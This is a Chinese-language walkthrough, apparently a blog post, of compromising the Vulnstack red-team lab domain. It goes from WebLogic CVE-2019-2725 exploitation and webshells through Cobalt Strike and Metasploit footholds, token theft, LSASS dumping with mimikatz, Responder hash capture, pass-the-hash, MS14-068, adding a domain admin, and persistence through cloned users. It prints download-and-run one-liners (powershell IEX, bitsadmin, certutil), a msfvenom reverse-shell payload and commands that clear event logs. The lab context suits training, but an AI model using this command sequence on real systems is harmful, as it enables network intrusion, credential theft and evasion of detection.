环境配置

1 | 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX |
VMware workstation 15 配置为host only(相当于VMware虚拟一个局域网,类似于nat模式。但是这个局域网没有连互联网。)
设置为host only 旨在模拟真实环境
添加网卡VMnet1

在控制面板配置VMnet1的IP地址 子网掩码 默认网关,将此处网络配置为10段

DC域控网络配置
DC域控将网络适配器调整为VMnet1(host only),然后配置网络如下

可以看到已经和域环境ping通了

1 | IP1:10.10.10.10(host only模式VMnat1) |
接下来配置PC个人端和WEB端
PC个人端
网络适配器2设置为 host only 模拟内网域环境

接下来设置另一个网络适配器 为nat模式

1 | IP1:10.10.10.201(host only模式VMnat1) |

web端
和PC端一样的设置

1 | IP1:10.10.10.80(host only模式VMnat1) |
在C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录下存在三个批处理文件setDomainEnv,startManagedWebLogic,stopManagedWebLogic。点击配置weblogic环境。
命令行下setDomainEnv 然后startManagedWebLogic 可以看到192.168.211.80已经配置好了weblogic环境,版本号为10.3.6.0,大概率存在cve-2019-2725这个漏洞

分割线(成了......原来有三个快照......我网络配置了三天,中间还出现密码不对的情况,真的是快把我给劝退了,原来下载好就可以运行的靶机折腾了这么久)
cve-2019-2725
使用lufeirider老哥写的工具 命令回显探测是否存在cve-2019-2725漏洞

然后burp发送payload RCE,但是burp弹出报错java.net.SocketException: Connection reset by peer: socket write error,之前在公网测试的时候还可以正常发paylaod,到了自己搭建的域环境就不行,于是我根据网上的方法下载了JCE拓展,解压得到两个jar文件,把他放在%JAVA_HOME/jre/lib/security目录中覆盖,再到Project option中设置SSL
在SSL标签中,先把默认的
Use the default protocols and ciphers of your java installation
选项改为Use custom protocols and ciphers
然后就多出两个复选框,一个是选择支持的SSL协议,一个是加密算法,都全部勾选。最后再勾选
Allow unsafe renegotiation (required for some client certificate)

全部设置完后还是无效,放弃burp发包,找到直接上传webshell的脚本
访问http://192.168.111.80:7001//bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

我想到用Cobalt Strike 拿到图形化的shell
powershell
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.111.3:81/a'))" |
bitadmin
1 | cmd.exe /c bitsadmin /transfer ce71 http://192.168.111.2:80/a %APPDATA%\ce71.exe&%APPDATA%\ce71.exe&del %APPDATA%\ce71.exe |
certutil
尝试Windows Executable 生成可执行exe木马或者Windows Executable(S) 生成无状态的可执行exe木马,放在80端口。
1 | certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe |

拿到shell还是administrator权限的。
这里一直web服务端一直连不上我的物理机,后面修改了默认网关为192.168.111.1就行了。修改了默认网关后物理机 <-> 服务端的80端口(192.168.111.80:80), 物理机可以ping通虚拟机服务端(192.168.111.80),但是虚拟机服务端无法ping通物理机。
或者使用smb共享的shell复制到目标机
kali(192.168.111.3)
1 | impacket-smbserver share `pwd` |
1 | http://192.168.111.80:7001//bea_wls_internal/demo.jsp?pwd=admin&cmd=copy \\192.168.111.3\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\shell.jsp |
但是之前上传的webshell无法使用copy等一些共享命令,所以不采用这种方法。
将图形化shell 派生到meterpreter
1.cs设置一个foreign的listener,监听端口为5555

2.msfconsole 设置如下,然后在CS客户端的shell下右键点击spawn
1 | msf5 > use exploit/multi/handler |

后渗透
信息收集
基本命令
1、获取当前组的计算机名(一般remark有Dc可能是域控):
1 | net view |
2、查看所有域
1 | net view /domain |
3、从计算机名获取ipv4地址
1 | ping -n 1 DC1 -4 |
4、查看域中的用户名
1 | dsquery user |
5、查询域组名称
1 | net group /domain |
6、查询域管理员
1 | net group "Domain Admins" /domain |
7、添加域管理员账号
1 | 添加普通域用户 |
8、查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域
1 | net config Workstation |
9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)
1 | net group "Domain controllers |
10、查询所有计算机名称
1 | dsquery computer |
11、net命令
①映射磁盘到本地
1 | net use z: \\dc01\sysvol |
②查看共享
1 | net view \\192.168.0.1 |
③开启一个共享名为app$,在d:\config
1 | net share app$=d:\config |
12、跟踪路由
1 | tracert 8.8.8.8 |
定位域控
1、查看域时间及域服务器的名
1 | net time /domain |
2、ldap
1 | Nslookup -type=SRV _ldap._tcp. |
3、通过ipconfig配置查找dns地址
1 | ipconfig/all |
4、查询域控
1 | net group "Domain Controllers" /domain |
判断出域为de1ay.com

proxy
http代理转发
上传代理
首先找到weblogic的web路径C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\,
1 | upload E:\PenetrationTools\GithubTools\冰蝎_v2.0.1\server\shell.jsp |
冰蝎连接,成功访问,连接路径
http://192.168.111.80:7001/_async/shell.jspx

在这个地方C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\接着上传proxy jsp
1.上传后在kali上执行命令
1 | python reGeorgSocksProxy.py -p 6666 -u http://192.168.111.80:7001/_async/tunnel.jsp |
2.然后编辑proxychains配置
1 | vim /etc/proxychains.conf |
3.将socks4 127.0.0.1 9095改为
1 | socks5 127.0.0.1 6666 |
4.使用方法
在需要代理的命令前加上 proxychains,如:
1 | python reGeorgSocksProxy.py -p 6666 -u http://192.168.111.80:7001/_async/tunnel.jsp |
效果如下

缺点是扫描速度太慢
metasploit+proxychains
主要使用使用socks5辅助模块
1.查看目标主机路由信息
1 | run get_local_subnets |

2.添加路由(在 -s 前加-d是删除路由)
1 | run autoroute -s 10.10.10.0/24 |
3.查看路由信息
1 | run autoroute -p |
4.设置好之后就使用socks5辅助模块
1 | background |

5.proxychains代理扫描
1 | proxychains nmap 10.10.10.10 |
Cobalt Strike socks代理
前面两种方法在我ssh连接的情况下经常会连接超时,每次我都得打开meterpreter监听然后再用spawn重新派生一个shell到meterpreter,非常麻烦,最后一种方法试试cs自带的socks代理功能
Cobalt Strike的最简单,ssh超时重连目标也不会掉。
1.在beacon中输入
1 | beacon>socks 6666 |
2.配置proxychains.conf
1 | socks4 127.0.0.1 6666 |
3.或者直接开启隧道使用msf

4.msf输入命令后可以加载模块进行扫描(ms07-010)
1 | setg Proxies socks4:192.168.111.3:6666 |
提权
这里虽然拿到的权限是Administrator权限的,但是还是想拓展下提权这一块
Metasploit中的incognito
在Metasploit中,可使用incognito实现token窃取,常用命令如下:
加载incognito:load incognito
列举token:list_tokens -u
查看当前token:getuid
提示至system权限:getsystem
token窃取:impersonate_token "NT AUTHORITY\\SYSTEM"
从进程窃取:steal_token 1252
返回之前token:rev2self or drop_token

Windows中的incognito
Metasploit中的incognito,是从windows平台下的incognito移植过来的,下面介绍一下windows平台下的incognito
下载地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
常见用法如下:
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options] <token> <command>
提权至system:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:incognito.exe execute -c "WIN-R7MM90ERBMD\a" cmd.exe
伪造用户:incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe
Invoke-TokenManipulation.ps1用法
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同incognito类似,能够实际提权和降权
列举token:Invoke-TokenManipulation -Enumerate
提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
复制进程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
还有更多用法可参考该脚本说明
利用token获得TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件
因为Windows系统的最高权限为TrustedInstaller
1.验证是否获得TrustedInstaller权限的方法
对特殊路径写文件
1 | echo 1 > C:\Windows\servicing\1.txt |
使用powershell
1 | Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner |
使用whoami
1 | whoami /groups | findstr TrustedInstaller |
2.getsystem提升到system权限
3.sc命令启动服务TrustedInstaller
1 | shell sc start trustedinstaller |
4.ps命令找到TrustedInstaller的pid
1 | ps |

5.使用incognito获取TrustedInstaller.exe的token
1 | steal_token TrustedInstall.exe的PID |
6.写入文件成功,获得了TrustedInstaller权限

密码读取
NTML-Hash
在NTLM认证中,NTLM响应分为NTLMv1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法
所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash
从攻击角度来看
- 可以利用NTLM哈希值进行“哈希传递”攻击
- 无法利用Net-NTLM哈希值来进行“哈希传递”攻击
本地获取
1.上传procdump64.exe和mimikatz
2.使用procdump来先dump内存hash,保存为dmp文件
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
3.mimikatz对dump下来的hash进行破解
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit > 1.txt |
内容见文末
在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方式开启,但需要用户重新登录后才能成功抓取。但是目标系统为Windows 2008(64)
可以看到三个用户NTML-Hash
1 | username::hostname:LM response:NTLM response:challenge |
通过分析收集的凭证,我们找到以下字段:用户名和由冒号分隔的两个字符串; 这两个代表该用户的加密密码。
使用散列算法存储Windows凭据:
散列的第一部分表示LAN Manager(LM)散列。默认情况下,从Windows Vista和Windows Server 2008开始禁用LM身份验证协议,因为它确实不安全; 这就是为什么字符串“aad3b435b51404eeaad3b435b51404ee”代表一个空值(记住我们控制的是Windows Server 8的主机)。
第二部分代表NT LAN Manager(NTLM)哈希:NTLM是LM协议的升级版本,但它仍然容易受到密码破解攻击。这就是我们可以使用密码破解工具John The Ripper的原因 在字典攻击模式下查找相应的明文密码,也可以在ophcrack网站,进行破解
在Windows Server 2008 下是保存了明文密码的,如果是高于2008版本的需要进行解密。更多详情在ssooking表哥的博客有写。
LM HASH是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。Vista以前的Windows OS使用它,Vista之后的版本默认禁用了LM协议,但某些情况下还是可以使用。
NTLM Hash(NT LAN Manager)是支持Net NTLM认证协议及本地认证过程中的一个重要参数。其长度为32位,由数字与字母组成。它的前身是LM Hash,目前基本淘汰,两者相差不大,只是使用的加密算法不同。本地认证:Windows不存储用户的明文密码,它会将用户的明文密码经过加密后存储在
SAM (Security Account Manager Database,安全账号管理数据库)中。SAM文件的路径是%SystemRoot%\system32\config\sam。在进行本地认证的过程中,当用户登录时,系统将用户输入的明文密码加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较,从而实现认证。
使用cs的logonpasswords功能dmup明文密码,相当于把上面的procdump64读取内存+mimikatz破解哈希两步结合了,一把梭。

Net-NTLM hash
网络欺骗
这一步是通关靶场后进行的
使用Responder伪造服务,对相关请求进行响应。开启命令:
1 | responder -I eth0 |
实战环境下,我们应该修改/etc/responder/Responder.conf配置文件,关闭其中的一些不必要的服务,从而减少网络流量,并产生针对性日志,如:
1 | ; Servers to start |
针对测试而言,我们还可以设置Challenge值,以便观察流量格式:
1 | Challenge = 1122334455667788 |
开启监听后,当用户进行了交互,如在资源管理器中以UNC路径形式访问伪造的服务器:

此时会弹出虚假认证界面,此时无论受害者是否输入凭据,我们都已经获取了NET NTML Hash。

responder默认会将日志保存在/usr/share/responder/logs下,hash记录文件以HTTP-NTLMv2 SMBv2-NTLMv2等前缀开头。
hashcat解密
1 | hashcat64.exe -m 5600 SMBv2-NTLMv2-SSP-192.168.111.80.txt hashpass.txt -o success.txt --force |
- -m 破解hash类型
- -a 破解模式(0 1 3 6 7)
- -o 输出文档
- –force代表强制执行,测试系统不支持Intel OpenCL

在渗透测试中,我们还可以通过其他技巧获取Net-NTML Hash,如:
- 命令执行:
regsvr32、powershell等 - 钓鱼文档:doc、docx、pdf
- 后门设置:
例:
1 | regsvr32 /s /u /i://17.10.0.1/@abc hello.dll |
计算机密码
该LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。开发该工具的目的是为最常用的软件找到这些密码。
工具地址:https://github.com/AlessandroZ/LaZagne
Cobalt Strike 上传LaZagne,查看是否可以读取到其他密码信息
没有密码信息..
1 | [+] 0 passwords have been found. |
横向移动
MS17-010
1 | msf > use auxiliary/scanner/smb/smb_ms17_010 |
可设置扫描段 set RHOSTS 10.10.10.0/24
探测存在永恒之蓝漏洞

1 | msf > use exploit/windows/smb/ms17_010_eternalblue |
没打成功,试试域中另一个用户10.10.10.201也没能成功

Pass the Hash
SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtH和PtT攻击的基础。
NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。
pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
1.查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域
1 | net config Workstation |

2.查找域控
1 | net group "domain controllers" /domain |

3.这里使用的是cs的pth模块进行,使用mimikatz传递hash
1 | pth domain\user NTLM |

4.成功访问域控资源
1 | dir \\dc.de1ay.com\c$ |

Pass the Ticket
这一步作为拓展
PtT攻击的部分就不是简单的ntlm认证了,它是利用Kerberos协议进行攻击的,三种常见的攻击方法:MS14-068,Golden ticket,SILVER TICKET.
关于Ticket在这边文章上写的非常清楚:域渗透-Ticket
关于Kerberos:域渗透-Kerberos
在这里我使用ms14-068进行PsT攻击
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
1.得到普通域用户的sid
1 | whoami /user |
1 | de1ay\administrator S-1-5-21-2756371121-2868759905-3853650604-500 |
2.Cobalt Strike socks 代理
1 | beacon> socks 6666 |
3.编辑proxychains配置
1 | vim /etc/proxychains.conf |
4.kali 攻击机运行
1 | python ms14-068.py -u mssql@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-500 -d 10.10.10.10 -p '1qaz@WSX' |
5.使用 KrbCredExport进行转换
1 | python KrbCredExport.py TGT_mssql@de1ay.com.ccache mssql.ticket |
6.使用cobalt strike进行凭据注入
清除凭证
1 | kerberos_ticket_purge |
7.使用kerberos_ticket_use进行凭据注入
1 | kerberos_ticket_use de1ay.ticket |
8.尝试访问域控资源
1 | dir \\dc.de1ay.com\c$ |
添加域控管理员
1 | net user hacker P@ssword /add /doamin |
这里一直添加不上,开始我以为是命令的问题,后面用CS中的进程管理发现本地存在360

这里尝试先登录web端(192.168.111.80 <-> 10.10.10.80),但是3389没有开放
所以在Cobalt Strike 下使用命令
1.查看端口开放情况
1 | REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSconnections |
若返回 0x1 表示关闭,0x0表示开启
2.通过查询注册表查看远程服务端口
1 | for /f "tokens=2 delims=x" %a in ('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" ^| find "PortNumber"') do (set /a n=0x%a) |
3.3389端口
1)开启3389端口:
在cmd内,执行如下命令,即可开启3389端口。
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
2)关闭3389端口:
在cmd内,执行如下命令,即可关闭3389端口。
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f |
3)也可以通过导入注册表来开启3389,本质一样。
1 | Windows Registry Editor Version 5.00 |
保存为test.reg,然后执行 regedit /s test.reg
4.通过查看端口得知,开启成功
1 | shell netstat -ano | findstr 3389 |
5.根据抓取的账号密码登陆web端(192.168.111.80)的3389关闭360
6.添加域控管理员
1 | net user hacker P@ssword /add /doamin |

7.添加后查看域控是否成功加入域控管理员
1 | net user "Domain Admins" /domain |

成功加入域控管理员
IPC连接
建立IPC$连接上传木马 建立后可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。(这里需要用到刚才添加的域控管理员密码)
常用命令
1 | net use \\ip\ipc$ pawword /user:username 建立IPC连接 |
这里使用的是msf来中转路由
1.meterpreter生成payload.exe
1 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe |
2.ipc连接
1 | beacon> copy C:\Wh0ale\paylaod.exe \\10.10.10.10\c$\windows\temp\paylaod.exe |
3.meterpreter进行监听
1 | msfconsole |
4.在跳板机上通过wmic命令执行木马
1 | beacon> wmic /node:10.10.10.10 /user:hacker /password:P@ssword process call create "C:\Windows\Temp\paylaod.exe" |
这里参考的是klion表哥教程: win内网中利用ipc弹shell 小记
使用到通过mimikatz读取内存获取的账号密码,在DC域控上创建一个进程"c:\Windows\temp\paylaod.exe"

5.sessions

使用Cobalt Strike中转路由
做一步作为拓展
1.点击Listener 同meterpreter设置 lport ,lhost

2.生成木马,设置listener为刚才设置的vulnstack_msf
3.ipc连接
1 | beacib> copy C:\Wh0ale\paylaod1.exe \\10.10.10.10\c$\windows\temp\paylaod1.exe |
4.在跳板机上通过wmic命令执行木马
1 | beacon> wmic /node:10.10.10.10 /user:hacker /password:P@ssword process call create "C:\Windows\Temp\paylaod1.exe" |
5.成了,如果是在dc.de1ay.com双击木马是普通权限,通过cs的中转路由是administrator权限,此时我们拿到域控的管理员权限

这里不知道是我输入的问题,还是CS的问题,同样的命令我粘贴到beacon执行就无法执行成功,手打才可以

logonpasswords已经读取到域控的明文密码了
MSF派生shell给Cobaltstrike
获取MSF shell、建立session后在meterpreter执行background将会话放到后台,切换payload。
1 | msf exploit(handler) > use exploit/windows/local/payload_inject |
Cobalt Strike 监听和msf设置的相同端口。
本来想把msf的shell弹回Cobalt Strike,一直没能成功
权限维持
1.上传Invoke-TokenManipulation.ps1和Windows-User-Clone.ps1
1 | upload Invoke-TokenManipulation.ps1 |
2.设置当前用户的执行 策略为Unrestricted,也算是去更改了当前的全局策略
1 | Get-ExecutionPolicy |
3.3389登陆(我懒得3389连了,直接在虚拟机上运行了)
Invoke-TokenManipulation.ps1用于打开一个System权限的进程
1 | Import-Module C:\Wh0ale\Invoke-TokenManipulation.ps1 |

4.运行Windows-User-Clone.ps1
1 | powershell Import-Module C:\Wh0ale\Windows-User-Clone.ps1 |

域有密码长度限制将ps文件的密码也修改下
1 | Create-Clone -u abc -p P@ssword -cu administrator |
5.查看是否添加成功

主要原理是
Invoke-TokenManipulation.ps1 通过token复制获得system权限
Windows-User-Clone.ps1
- 新建测试帐户
- 将注册表导出到temp目录,进行替换
- 删除特殊帐户
- 导入注册表文件
防御
针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可
当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限
隐藏帐户的登录记录,可通过查看日志获取
痕迹清理
获取日志分类列表:
1 | wevtutil el >1.txt |
获取单个日志类别的统计信息:
1 | wevtutil gli "windows powershell" |
回显:
1 | creationTime: 2016-11-28T06:01:37.986Z |
查看指定日志的具体内容:
1 | wevtutil qe /f:text "windows powershell" |
删除单个日志类别的所有信息:
1 | wevtutil cl "windows powershell" |
破坏Windows日志记录功能
利用工具
msf
1 | run clearlogs |
1 | clearev |
3389登陆记录清除
1 | @echo off |
以上就是Vulnstack整个渗透过程,在渗透过程没出现比较难的点,基本上就是环境搭建花费的事件比较长,在本地搭建的的对性能消耗很大,开三个虚拟机加一个文档编辑器就卡的不行了,下次考虑在公司服务器上搭建下。
todo
域渗透过程中协议通信研究
hackthebox域渗透
根据特征写PRS防御横向移动规则
参考
Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍
https://github.com/Ridter/Pentest
1 |
|